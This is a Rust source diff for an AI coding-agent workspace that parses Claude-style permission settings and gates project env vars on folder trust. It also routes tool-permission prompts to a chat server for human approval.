Ok(id) => id,
|
||||
Err(err) => {
|
||||
tracing::warn!(
|
||||
qualified_name = %qualified_name,
|
||||
error = %err,
|
||||
"skipping MCP tool: qualified name is not a valid ToolId"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
Some(Self {
|
||||
qualified_id,
|
||||
qualified_name,
|
||||
inner,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl ToolServerHandler for QualifiedMcpToolHandler {
|
||||
fn tool_id(&self) -> ToolId {
|
||||
self.qualified_id.clone()
|
||||
}
|
||||
|
||||
fn description(&self) -> ToolDescription {
|
||||
let inner_desc = self.inner.description();
|
||||
ToolDescription::new(self.qualified_name.clone(), inner_desc.description)
|
||||
}
|
||||
|
||||
fn input_schema(&self) -> Option<Value> {
|
||||
self.inner.input_schema()
|
||||
}
|
||||
|
||||
async fn handle_call(&self, ctx: ToolCallContext, args: Value) -> ToolStream<TypedToolOutput> {
|
||||
self.inner.handle_call(ctx, args).await
|
||||
}
|
||||
}
|
||||
|
||||
/// Result of a `workspace.configure_mcp` RPC call.
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct McpStartResult {
|
||||
/// Server names that started successfully.
|
||||
pub started: Vec<String>,
|
||||
/// Servers that failed to start.
|
||||
pub failed: Vec<McpStartFailure>,
|
||||
}
|
||||
|
||||
/// A single MCP server startup failure.
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct McpStartFailure {
|
||||
/// Server name.
|
||||
pub name: String,
|
||||
/// Human-readable error description.
|
||||
pub error: String,
|
||||
}
|
||||
|
||||
/// Extract a server name from an [`McpError`](kigi_mcp::servers::McpError),
|
||||
/// falling back to `"unknown"`.
|
||||
pub(crate) fn server_name_from_mcp_error(e: &kigi_mcp::servers::McpError) -> &str {
|
||||
e.server_name().unwrap_or("unknown")
|
||||
}
|
||||
|
||||
/// Bridge config factory for MCP bridge connections.
|
||||
pub(crate) fn make_bridge_config(
|
||||
session_id: kigi_tool_protocol::SessionId,
|
||||
server_name: &str,
|
||||
) -> McpBridgeConfig {
|
||||
McpBridgeConfig {
|
||||
session_id,
|
||||
namespace: Some(server_name.to_owned()),
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,554 @@
|
||||
//! Reads and parses `.claude/settings.json` (vendor settings interop).
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use serde::Deserialize;
|
||||
use tracing::{debug, warn};
|
||||
|
||||
use crate::permission::rules::parse_permission_rule;
|
||||
use crate::permission::types::{PermissionConfig, RuleAction};
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Settings Types (Claude JSON subset)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Subset of `.claude/settings.json` we care about.
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct ClaudeSettings {
|
||||
#[serde(default)]
|
||||
pub permissions: Option<ParsedPermissions>,
|
||||
|
||||
/// Raw `defaultMode` string when present (canonical under `permissions`, or
|
||||
/// grok-only root legacy). Recognized values: `acceptEdits`,
|
||||
/// `bypassPermissions`, `default`, `plan`, `dontAsk`, `auto`.
|
||||
#[serde(default)]
|
||||
pub default_mode: Option<String>,
|
||||
|
||||
/// Parsed but not acted on yet.
|
||||
#[serde(default)]
|
||||
pub additional_directories: Option<Vec<String>>,
|
||||
|
||||
/// Environment variables applied to every session.
|
||||
/// Keys and values are strings; non-string values are coerced or skipped.
|
||||
#[serde(default)]
|
||||
pub env: Option<HashMap<String, String>>,
|
||||
}
|
||||
|
||||
/// Parsed `permissions` object from Claude settings.
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
pub struct ParsedPermissions {
|
||||
#[serde(default)]
|
||||
pub allow: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub deny: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub ask: Vec<String>,
|
||||
}
|
||||
|
||||
impl ParsedPermissions {
|
||||
/// Translate into native `PermissionConfig`.
|
||||
/// Unsupported or malformed entries are skipped with warnings.
|
||||
pub fn into_permission_config(self) -> (PermissionConfig, Vec<String>) {
|
||||
let mut rules = Vec::new();
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
for (action, entries, label) in [
|
||||
(RuleAction::Allow, self.allow, "allow"),
|
||||
(RuleAction::Deny, self.deny, "deny"),
|
||||
(RuleAction::Ask, self.ask, "ask"),
|
||||
] {
|
||||
for rule_str in entries {
|
||||
match parse_permission_rule(&rule_str, action) {
|
||||
Ok(rule) => rules.push(rule),
|
||||
Err(e) => warnings.push(format!("permissions.{label}: {rule_str} -- {e}")),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
(PermissionConfig::new(rules), warnings)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load Claude settings from a file path.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `None` only for: file missing, unreadable, or unparseable JSON
|
||||
/// - `Some(ClaudeSettings)` even if `permissions` key is absent
|
||||
///
|
||||
/// This allows callers to observe `defaultMode` / `additionalDirectories` even when
|
||||
/// no `permissions` block exists, supporting the observability model.
|
||||
///
|
||||
/// **Tolerant parsing**:
|
||||
/// - `permissions.allow` / `permissions.deny` are extracted element-by-element
|
||||
/// from `serde_json::Value`. Non-string entries are skipped with warnings.
|
||||
/// - This enables partial success when some entries are malformed.
|
||||
/// - `defaultMode` / `additionalDirectories` prefer the canonical location
|
||||
/// under `permissions.*`. Root-level keys are **grok legacy only** (not in
|
||||
/// the vendor schema) and are used only when the nested key is **absent** —
|
||||
/// not when it is present but the wrong type.
|
||||
pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
|
||||
let content = match std::fs::read_to_string(path) {
|
||||
Ok(c) => c,
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return None,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
// Parse as generic JSON value for tolerant handling
|
||||
let value: serde_json::Value = match serde_json::from_str(&content) {
|
||||
Ok(v) => v,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
// Extract permissions tolerantly if present (with warnings for non-strings)
|
||||
let permissions = value.get("permissions").and_then(|p| {
|
||||
let (allow, allow_warnings) = extract_string_array(p.get("allow"));
|
||||
let (deny, deny_warnings) = extract_string_array(p.get("deny"));
|
||||
let (ask, ask_warnings) = extract_string_array(p.get("ask"));
|
||||
|
||||
// Log any warnings from tolerant extraction
|
||||
for w in allow_warnings
|
||||
.iter()
|
||||
.chain(deny_warnings.iter())
|
||||
.chain(ask_warnings.iter())
|
||||
{
|
||||
tracing::warn!(path = %path.display(), "{}", w);
|
||||
}
|
||||
|
||||
if allow.is_empty() && deny.is_empty() && ask.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(ParsedPermissions { allow, deny, ask })
|
||||
}
|
||||
});
|
||||
|
||||
// Canonical vendor settings store these under `permissions`; root is grok legacy only.
|
||||
let default_mode = extract_default_mode(&value, path);
|
||||
|
||||
let additional_directories = extract_additional_directories(&value, path);
|
||||
|
||||
let env = extract_string_map(value.get("env"), path);
|
||||
|
||||
Some(ClaudeSettings {
|
||||
permissions,
|
||||
default_mode,
|
||||
additional_directories,
|
||||
env,
|
||||
})
|
||||
}
|
||||
|
||||
/// Canonical key is `permissions.defaultMode`.
|
||||
///
|
||||
/// Root `defaultMode` is grok-only back-compat for older tests / hand-written
|
||||
/// configs. Fall back to root only when the nested key is **absent**. If nested
|
||||
/// is present but not a string, do not resurrect a root value (malformed
|
||||
/// canonical key must not revive stale legacy).
|
||||
pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Option<String> {
|
||||
if let Some(perms) = value.get("permissions")
|
||||
&& let Some(dm) = perms.get("defaultMode")
|
||||
{
|
||||
return match dm.as_str() {
|
||||
Some(s) => Some(s.to_string()),
|
||||
None => {
|
||||
warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %dm.type_of(),
|
||||
"permissions.defaultMode: expected string; not falling back to root defaultMode"
|
||||
);
|
||||
None
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
// Nested key absent — optional grok legacy root.
|
||||
match value.get("defaultMode") {
|
||||
Some(dm) => match dm.as_str() {
|
||||
Some(s) => Some(s.to_string()),
|
||||
None => {
|
||||
warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %dm.type_of(),
|
||||
"root defaultMode (grok legacy): expected string, ignoring"
|
||||
);
|
||||
None
|
||||
}
|
||||
},
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Claude-canonical key is `permissions.additionalDirectories`; root is
|
||||
/// legacy/compat. Nested wins when both are present.
|
||||
fn extract_additional_directories(value: &serde_json::Value, path: &Path) -> Option<Vec<String>> {
|
||||
// Mirror `extract_default_mode`: prefer the Claude-canonical nested key, and
|
||||
// when it is present but the wrong type, do *not* resurrect the grok-legacy
|
||||
// root value (a malformed canonical key must not revive stale legacy).
|
||||
let arr = if let Some(nested) = value
|
||||
.get("permissions")
|
||||
.and_then(|p| p.get("additionalDirectories"))
|
||||
{
|
||||
match nested.as_array() {
|
||||
Some(arr) => arr,
|
||||
None => {
|
||||
warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %nested.type_of(),
|
||||
"permissions.additionalDirectories: expected array; not falling back to root additionalDirectories"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
value
|
||||
.get("additionalDirectories")
|
||||
.and_then(|v| v.as_array())?
|
||||
};
|
||||
|
||||
let mut result = Vec::new();
|
||||
for (i, v) in arr.iter().enumerate() {
|
||||
match v.as_str() {
|
||||
Some(s) => result.push(s.to_string()),
|
||||
None => tracing::warn!(
|
||||
path = %path.display(),
|
||||
index = i,
|
||||
actual_type = %v.type_of(),
|
||||
"additionalDirectories: expected string, skipping"
|
||||
),
|
||||
}
|
||||
}
|
||||
Some(result)
|
||||
}
|
||||
|
||||
/// Extract a string array from a JSON value, skipping non-strings with warnings.
|
||||
///
|
||||
/// Returns `(strings, warnings)` where warnings describe skipped entries.
|
||||
fn extract_string_array(value: Option<&serde_json::Value>) -> (Vec<String>, Vec<String>) {
|
||||
match value {
|
||||
Some(serde_json::Value::Array(arr)) => {
|
||||
let mut strings = Vec::new();
|
||||
let mut warnings = Vec::new();
|
||||
for (i, v) in arr.iter().enumerate() {
|
||||
match v.as_str() {
|
||||
Some(s) => strings.push(s.to_string()),
|
||||
None => warnings.push(format!(
|
||||
"permissions array index {}: expected string, got {}",
|
||||
i,
|
||||
v.type_of()
|
||||
)),
|
||||
}
|
||||
}
|
||||
(strings, warnings)
|
||||
}
|
||||
Some(other) => {
|
||||
let warnings = vec![format!(
|
||||
"permissions field: expected array, got {}",
|
||||
other.type_of()
|
||||
)];
|
||||
(Vec::new(), warnings)
|
||||
}
|
||||
None => (Vec::new(), Vec::new()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract a `HashMap<String, String>` from a JSON object value.
|
||||
///
|
||||
/// Non-string scalars are coerced to their string form: numbers and booleans
|
||||
/// become their string representation. Null, array, and object values are
|
||||
/// skipped with warnings.
|
||||
///
|
||||
/// Note: nulls are intentionally skipped rather than coerced to the literal
|
||||
/// `"null"` — setting an env var to `"null"` is rarely useful and more likely a
|
||||
/// user mistake.
|
||||
fn extract_string_map(
|
||||
value: Option<&serde_json::Value>,
|
||||
path: &Path,
|
||||
) -> Option<HashMap<String, String>> {
|
||||
let obj = match value {
|
||||
Some(serde_json::Value::Object(map)) => map,
|
||||
Some(other) => {
|
||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %other.type_of(),
|
||||
"env: expected object, skipping"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
None => return None,
|
||||
};
|
||||
|
||||
let mut result = HashMap::new();
|
||||
for (key, val) in obj {
|
||||
match val {
|
||||
serde_json::Value::String(s) => {
|
||||
result.insert(key.clone(), s.clone());
|
||||
}
|
||||
serde_json::Value::Number(n) => {
|
||||
result.insert(key.clone(), n.to_string());
|
||||
}
|
||||
serde_json::Value::Bool(b) => {
|
||||
result.insert(key.clone(), b.to_string());
|
||||
}
|
||||
other => {
|
||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
key = %key,
|
||||
actual_type = %other.type_of(),
|
||||
"env: expected string value, skipping"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(result)
|
||||
}
|
||||
}
|
||||
|
||||
/// Small helper to get a JSON value's type name for diagnostics.
|
||||
trait JsonTypeName {
|
||||
fn type_of(&self) -> &'static str;
|
||||
}
|
||||
impl JsonTypeName for serde_json::Value {
|
||||
fn type_of(&self) -> &'static str {
|
||||
match self {
|
||||
serde_json::Value::Null => "null",
|
||||
serde_json::Value::Bool(_) => "boolean",
|
||||
serde_json::Value::Number(_) => "number",
|
||||
serde_json::Value::String(_) => "string",
|
||||
serde_json::Value::Array(_) => "array",
|
||||
serde_json::Value::Object(_) => "object",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Discovery
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
// TODO(follow-up): The discovery logic here (find_claude_settings_paths,
|
||||
// collect_project_claude_paths, find_repo_root) is local to this module.
|
||||
// If the Claude settings compatibility surface grows (more consumers beyond
|
||||
// permissions), consider extracting to a shared helper (e.g., in kigi-hooks
|
||||
// or a new claude-discovery crate).
|
||||
|
||||
/// Discover `.claude/settings.json` and `.claude/settings.local.json` paths
|
||||
/// for permission loading.
|
||||
///
|
||||
/// Files are returned in priority order (most-specific first):
|
||||
/// - Project: `<cwd>/.claude/settings.local.json`, `<cwd>/.claude/settings.json`
|
||||
/// (walking up to repo root; cwd entries listed first)
|
||||
/// - Global: `~/.claude/settings.local.json`, `~/.claude/settings.json`
|
||||
///
|
||||
/// Returns `true` if any `.claude/` configuration files exist in the project
|
||||
/// or user home directory.
|
||||
pub fn has_claude_compat(cwd: &Path) -> bool {
|
||||
find_claude_settings_paths(cwd).iter().any(|p| p.exists())
|
||||
}
|
||||
|
||||
/// Permission rules from all files are merged (later / more specific sources win
|
||||
/// for conflicts as documented below).
|
||||
/// `defaultMode` uses scope precedence: the most specific file that sets it wins.
|
||||
pub fn find_claude_settings_paths(cwd: &Path) -> Vec<PathBuf> {
|
||||
let mut paths = global_claude_settings_paths();
|
||||
|
||||
// Project paths (higher priority — closer to cwd wins)
|
||||
// Walk from cwd up to find .claude directories
|
||||
let project_paths = collect_project_claude_paths(cwd);
|
||||
// Prepend project paths (so they come first, higher priority)
|
||||
paths.splice(0..0, project_paths);
|
||||
|
||||
paths
|
||||
}
|
||||
|
||||
/// Global (user-tier) `~/.claude` settings paths, highest-priority-first. Split
|
||||
/// out of [`find_claude_settings_paths`] so [`load_claude_env_with_project`] can
|
||||
/// load ONLY the user tier when a folder is untrusted.
|
||||
///
|
||||
/// Use `dirs::home_dir()` to match the home-resolution strategy used by
|
||||
/// `claude_import.rs::scan_importable_settings` and `claude_import_state.rs`,
|
||||
/// so a path returned here reliably tests as global in the import scanner's
|
||||
/// `is_global` check.
|
||||
fn global_claude_settings_paths() -> Vec<PathBuf> {
|
||||
let mut paths = Vec::new();
|
||||
if let Some(home) = dirs::home_dir() {
|
||||
let global = home.join(".claude");
|
||||
paths.push(global.join("settings.local.json"));
|
||||
paths.push(global.join("settings.json"));
|
||||
}
|
||||
paths
|
||||
}
|
||||
|
||||
/// Whether a project-tree `.claude/settings.json` / `settings.local.json` exists
|
||||
/// anywhere along the SAME `cwd`→repo-root walk the env/permission loaders read
|
||||
/// ([`collect_project_claude_paths`]). The folder-trust detector calls this so
|
||||
/// detection can never drift from the loader: a settings file in a SUBDIR — whose
|
||||
/// `env` is injected into every spawned subprocess — must flip the folder
|
||||
/// untrusted, not just one at the git root.
|
||||
pub fn project_claude_settings_present(cwd: &Path) -> bool {
|
||||
collect_project_claude_paths(cwd)
|
||||
.iter()
|
||||
.any(|p| p.is_file())
|
||||
}
|
||||
|
||||
/// Collect .claude settings file paths from cwd up to repo root.
|
||||
///
|
||||
/// Resolves the repo root by `.git` EXISTENCE (not `git2` validity), kept
|
||||
/// separate from the folder-trust gate's shared `git2` walk on purpose: the
|
||||
/// env/permission loader ([`find_claude_settings_paths`]) and this detector both
|
||||
/// go through here, so they share ONE root resolution and can't drift — but a
|
||||
/// directory with a bare/empty `.git` (no valid repo) must still bound the walk.
|
||||
fn collect_project_claude_paths(cwd: &Path) -> Vec<PathBuf> {
|
||||
// Home-is-a-git-repo (dotfiles in $HOME): drop a resolved repo root that is
|
||||
// $HOME, or the walk would treat `~/.claude` as project-tier (injecting its
|
||||
// env / applying its rules for any cwd under home). Fall back to cwd so the
|
||||
// walk stays within the working dir. This is the shared choke point for both
|
||||
// `project_claude_settings_present` and `find_claude_settings_paths`.
|
||||
let repo_root = find_repo_root(cwd)
|
||||
.filter(|root| !crate::trust::is_home_dir(root))
|
||||
.unwrap_or_else(|| cwd.to_path_buf());
|
||||
|
||||
// Walk from cwd up to repo_root, collecting .claude paths (cwd-first priority).
|
||||
let mut paths = Vec::new();
|
||||
let mut current = cwd.to_path_buf();
|
||||
loop {
|
||||
let claude_dir = current.join(".claude");
|
||||
paths.push(claude_dir.join("settings.local.json"));
|
||||
paths.push(claude_dir.join("settings.json"));
|
||||
|
||||
if current == repo_root {
|
||||
break;
|
||||
}
|
||||
match current.parent() {
|
||||
Some(parent) => current = parent.to_path_buf(),
|
||||
None => break,
|
||||
}
|
||||
}
|
||||
paths
|
||||
}
|
||||
|
||||
/// Find the git repo root by walking up from cwd.
|
||||
fn find_repo_root(start: &Path) -> Option<PathBuf> {
|
||||
let mut current = start.to_path_buf();
|
||||
loop {
|
||||
if current.join(".git").exists() {
|
||||
return Some(current);
|
||||
}
|
||||
{
|
||||
let parent = current.parent()?;
|
||||
current = parent.to_path_buf()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Environment Variables
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Load merged environment variables from Claude settings files, gating the
|
||||
/// repo-tree `.claude/settings.json` `env` on `project_trusted`.
|
||||
///
|
||||
/// Like permissions, env vars are merged cumulatively across all settings files
|
||||
/// (later layers override earlier keys) — walking `find_claude_settings_paths()`
|
||||
/// with precedence:
|
||||
/// - Global `~/.claude/settings.json` / `settings.local.json` (lowest)
|
||||
/// - Repo-root `.claude/settings.json` / `settings.local.json`
|
||||
/// - ... (intermediate directories up to cwd)
|
||||
/// - CWD `.claude/settings.json` / `settings.local.json` (highest)
|
||||
///
|
||||
/// Within each directory, `settings.local.json` overrides `settings.json`.
|
||||
/// Higher-precedence keys override lower via `HashMap::extend`.
|
||||
///
|
||||
/// The repo-tree `env` is injected into every spawned subprocess (`BASH_ENV` /
|
||||
/// `GIT_SSH_COMMAND` / `PATH` / `LD_PRELOAD` …), so when `project_trusted` is
|
||||
/// false it is dropped — an untrusted clone must not contribute it; the user's
|
||||
/// own `~/.claude` env is always loaded.
|
||||
pub fn load_claude_env_with_project(cwd: &Path, project_trusted: bool) -> HashMap<String, String> {
|
||||
// Phase 2 cutoff: if the user has imported, skip reading .claude/ at runtime.
|
||||
if is_claude_import_marked_with_log("load_claude_env_with_project") {
|
||||
return HashMap::new();
|
||||
}
|
||||
|
||||
// Untrusted folder: load ONLY the user-tier `~/.claude` env, dropping the
|
||||
// repo-tree (project) contribution.
|
||||
let paths = if project_trusted {
|
||||
find_claude_settings_paths(cwd)
|
||||
} else {
|
||||
global_claude_settings_paths()
|
||||
};
|
||||
let mut merged = HashMap::new();
|
||||
|
||||
// Paths are ordered highest-priority-first. Process in reverse so that
|
||||
// higher-priority values overwrite lower-priority ones via `extend`.
|
||||
for path in paths.iter().rev() {
|
||||
if let Some(settings) = load_claude_settings(path)
|
||||
&& let Some(env) = settings.env
|
||||
{
|
||||
debug!(
|
||||
path = %path.display(),
|
||||
count = env.len(),
|
||||
"Loaded env from Claude settings"
|
||||
);
|
||||
merged.extend(env);
|
||||
}
|
||||
}
|
||||
|
||||
merged
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Phase 2 cutoff marker
|
||||
// =============================================================================
|
||||
//
|
||||
// `kigi-shell::claude_import` writes the marker. We re-implement a small
|
||||
// reader here because the gate consumers live in this crate and can't depend
|
||||
// on shell (it would create a cycle). Caching is intentionally omitted; if
|
||||
// this becomes a hotspot we can lift it into a shared crate.
|
||||
|
||||
/// True when the user marked Claude settings imported (`[claude_compat].imported`
|
||||
/// in config.toml, or the test override). Public so gate-mirroring callers stay consistent.
|
||||
pub fn is_claude_import_marked() -> bool {
|
||||
// Test escape hatch: shell tests call `refresh_marker_cache(true)` which
|
||||
// lives in kigi-shell (inaccessible from here at runtime). They also
|
||||
// set this env var so the workspace-resident gate honours the override
|
||||
// without a cross-crate dependency.
|
||||
if std::env::var("_GROK_CLAUDE_MARKER_OVERRIDE").as_deref() == Ok("1") {
|
||||
return true;
|
||||
}
|
||||
let Some(config_path) = kigi_config::user_kigi_home().map(|g| g.join("config.toml")) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(contents) = std::fs::read_to_string(&config_path) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(value) = toml::from_str::<toml::Value>(&contents) else {
|
||||
return false;
|
||||
};
|
||||
value
|
||||
.get("claude_compat")
|
||||
.and_then(|v| v.get("imported"))
|
||||
.and_then(|v| v.as_bool())
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Returns true when the user has marked their Claude settings as imported.
|
||||
///
|
||||
/// Logs a single info line the first time the gate is hit (per process) so
|
||||
/// we can confirm the cutoff is taking effect without flooding logs.
|
||||
pub(crate) fn is_claude_import_marked_with_log(gate_name: &'static str) -> bool {
|
||||
use std::sync::OnceLock;
|
||||
static LOGGED: OnceLock<()> = OnceLock::new();
|
||||
|
||||
let marked = is_claude_import_marked();
|
||||
if marked {
|
||||
LOGGED.get_or_init(|| {
|
||||
tracing::info!(
|
||||
first_gate = gate_name,
|
||||
"Claude compat disabled (marker set in config.toml)"
|
||||
);
|
||||
});
|
||||
}
|
||||
marked
|
||||
}
|
||||
@@ -0,0 +1,498 @@
|
||||
//! Tool-permission emit: when the rules engine returns "ask" for a guarded
|
||||
//! tool, request the decision from chat over the server instead of prompting a
|
||||
//! local ACP client, then map chat's reply back onto a [`PromptOutcome`] so the
|
||||
//! manager's existing decision + `ALWAYS_*` persistence applies unchanged.
|
||||
use crate::permission::prompter::{PromptOutcome, tool_name_for_access};
|
||||
use crate::permission::types::AccessKind;
|
||||
use async_trait::async_trait;
|
||||
use kigi_computer_hub_sdk::harness::PERMISSION_REQUEST_KIND;
|
||||
use kigi_computer_hub_sdk::{ToolServer, WeakToolServer};
|
||||
use kigi_tool_protocol::SessionId;
|
||||
use prometheus::{HistogramVec, IntCounter, register_histogram_vec, register_int_counter};
|
||||
use serde_json::Value;
|
||||
use std::sync::LazyLock;
|
||||
/// Wall-clock time the workspace awaits chat's decision on a `permission_request`
|
||||
/// hook. `outcome` is `ok` (chat replied) or `error` (transport failure /
|
||||
/// backstop deadline).
|
||||
static PERMISSION_REPLY_DURATION: LazyLock<HistogramVec> = LazyLock::new(|| {
|
||||
register_histogram_vec!(
|
||||
"grok_workspace_permission_reply_seconds",
|
||||
"Wall-clock time awaiting chat's reply to a permission_request hook",
|
||||
&["outcome"],
|
||||
vec![0.5, 1.0, 2.0, 5.0, 10.0, 30.0, 60.0, 120.0, 300.0, 600.0]
|
||||
)
|
||||
.expect("grok_workspace_permission_reply_seconds must register once")
|
||||
});
|
||||
/// Permission requests whose reply timed out (the server backstop deadline fired).
|
||||
/// A subset of the histogram's `error` outcome, promoted to its own counter so a
|
||||
/// stuck/lost reply is distinguishable from other transport failures.
|
||||
static PERMISSION_TIMEOUT_TOTAL: LazyLock<IntCounter> = LazyLock::new(|| {
|
||||
register_int_counter!(
|
||||
"grok_workspace_permission_timeout_total",
|
||||
"permission_request hooks whose reply timed out (backstop deadline fired)"
|
||||
)
|
||||
.expect("grok_workspace_permission_timeout_total must register once")
|
||||
});
|
||||
/// Zero-init this module's metric families. See [`crate::init_metrics`].
|
||||
pub(crate) fn init_metrics() {
|
||||
for outcome in ["ok", "error"] {
|
||||
let _ = PERMISSION_REPLY_DURATION.with_label_values(&[outcome]);
|
||||
}
|
||||
PERMISSION_TIMEOUT_TOTAL.inc_by(0);
|
||||
}
|
||||
/// Identifies the reply backstop-deadline timeout by its rendered message; the
|
||||
/// server SDK exposes no typed timeout variant to match on. If that message text
|
||||
/// changes, such a reply is recorded under the histogram's `error` outcome but
|
||||
/// not counted in `permission_timeout_total`.
|
||||
fn is_timeout_err(msg: &str) -> bool {
|
||||
msg.contains("timed out")
|
||||
}
|
||||
/// Env var that enables the HITL-live **tool-permission** emit (workspace →
|
||||
/// chat over the server) for local e2e and gradual rollout. Prefer server capability
|
||||
/// negotiation long-term; this is the interim gate so tool-permission can be
|
||||
/// exercised without waiting on that wire format.
|
||||
pub const HITL_PERMISSION_LIVE_ENV: &str = "KIGI_HITL_PERMISSION_LIVE";
|
||||
/// Whether the HITL-live permission path is enabled.
|
||||
///
|
||||
/// Intended long-term gate: the chat flag `grok_chat_enable_hitl_live_path`,
|
||||
/// propagated by the server at session-bind (capability negotiation). Until that
|
||||
/// lands, honor [`HITL_PERMISSION_LIVE_ENV`] (`1` / `true` / `yes`) so local
|
||||
/// stacks and e2e can turn the emit on explicitly. Default remains **off**
|
||||
/// (fail closed to the local ACP prompt).
|
||||
pub fn hitl_permission_live_enabled() -> bool {
|
||||
match std::env::var(HITL_PERMISSION_LIVE_ENV) {
|
||||
Ok(v) => {
|
||||
matches!(
|
||||
v.trim().to_ascii_lowercase().as_str(),
|
||||
"1" | "true" | "yes" | "on"
|
||||
)
|
||||
}
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
/// Sends a `permission_request` hook to chat and awaits the decision reply.
|
||||
#[async_trait]
|
||||
pub trait PermissionHookTransport: Send + Sync {
|
||||
/// Emit the permission-request `payload` and return chat's decision reply.
|
||||
async fn request_permission(&self, payload: Value) -> Result<Value, String>;
|
||||
}
|
||||
/// Hub-backed permission transport (weak server handle; upgrades per request).
|
||||
pub struct ToolServerPermissionTransport {
|
||||
server: WeakToolServer,
|
||||
session_id: SessionId,
|
||||
}
|
||||
impl ToolServerPermissionTransport {
|
||||
pub fn new(server: ToolServer, session_id: SessionId) -> Self {
|
||||
Self {
|
||||
server: server.downgrade(),
|
||||
session_id,
|
||||
}
|
||||
}
|
||||
/// Build from a session id held as a string; `None` if it is not a valid
|
||||
/// [`SessionId`].
|
||||
pub fn from_session_id(server: ToolServer, session_id: &str) -> Option<Self> {
|
||||
SessionId::new(session_id)
|
||||
.ok()
|
||||
.map(|sid| Self::new(server, sid))
|
||||
}
|
||||
}
|
||||
#[async_trait]
|
||||
impl PermissionHookTransport for ToolServerPermissionTransport {
|
||||
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
|
||||
let start = std::time::Instant::now();
|
||||
let Some(server) = self.server.upgrade() else {
|
||||
PERMISSION_REPLY_DURATION
|
||||
.with_label_values(&["error"])
|
||||
.observe(start.elapsed().as_secs_f64());
|
||||
return Err("tool server gone (weak upgrade failed)".to_owned());
|
||||
};
|
||||
let raw = server
|
||||
.request_hook(
|
||||
self.session_id.clone(),
|
||||
PERMISSION_REQUEST_KIND.to_owned(),
|
||||
payload,
|
||||
)
|
||||
.await;
|
||||
let outcome = match &raw {
|
||||
Ok(_) => "ok",
|
||||
Err(e) => {
|
||||
if is_timeout_err(&e.to_string()) {
|
||||
PERMISSION_TIMEOUT_TOTAL.inc();
|
||||
}
|
||||
"error"
|
||||
}
|
||||
};
|
||||
PERMISSION_REPLY_DURATION
|
||||
.with_label_values(&[outcome])
|
||||
.observe(start.elapsed().as_secs_f64());
|
||||
raw.map_err(|e| e.to_string())
|
||||
}
|
||||
}
|
||||
fn scope_for_access(access: &AccessKind) -> &'static str {
|
||||
match access {
|
||||
AccessKind::Bash(_) | AccessKind::Edit(_) | AccessKind::MCPTool { .. } => "write",
|
||||
AccessKind::Read(_)
|
||||
| AccessKind::Grep { .. }
|
||||
| AccessKind::WebFetch(_)
|
||||
| AccessKind::WebSearch(_) => "read",
|
||||
}
|
||||
}
|
||||
fn describe_access(access: &AccessKind) -> String {
|
||||
match access {
|
||||
AccessKind::Bash(_) => "Run a terminal command".to_owned(),
|
||||
AccessKind::Edit(path) => format!("Edit {path}"),
|
||||
AccessKind::MCPTool { name, .. } => format!("Run MCP tool {name}"),
|
||||
AccessKind::WebFetch(url) => format!("Fetch {url}"),
|
||||
AccessKind::WebSearch(query) => format!("Search the web for {query}"),
|
||||
AccessKind::Read(_) => "Read a file".to_owned(),
|
||||
AccessKind::Grep { .. } => "Search file contents".to_owned(),
|
||||
}
|
||||
}
|
||||
/// Build the server → chat `permission_request` payload. The field set matches
|
||||
/// chat's `PermissionRequestPayload` parser: `tool_call_id`, `tool_name`,
|
||||
/// `description`, `scope`, and the bash/edit context.
|
||||
pub(crate) fn build_permission_payload(access: &AccessKind, tool_call_id: &str) -> Value {
|
||||
let mut payload = serde_json::json!(
|
||||
{ "tool_call_id" : tool_call_id, "tool_name" : tool_name_for_access(access),
|
||||
"description" : describe_access(access), "scope" : scope_for_access(access), }
|
||||
);
|
||||
if let Some(map) = payload.as_object_mut() {
|
||||
match access {
|
||||
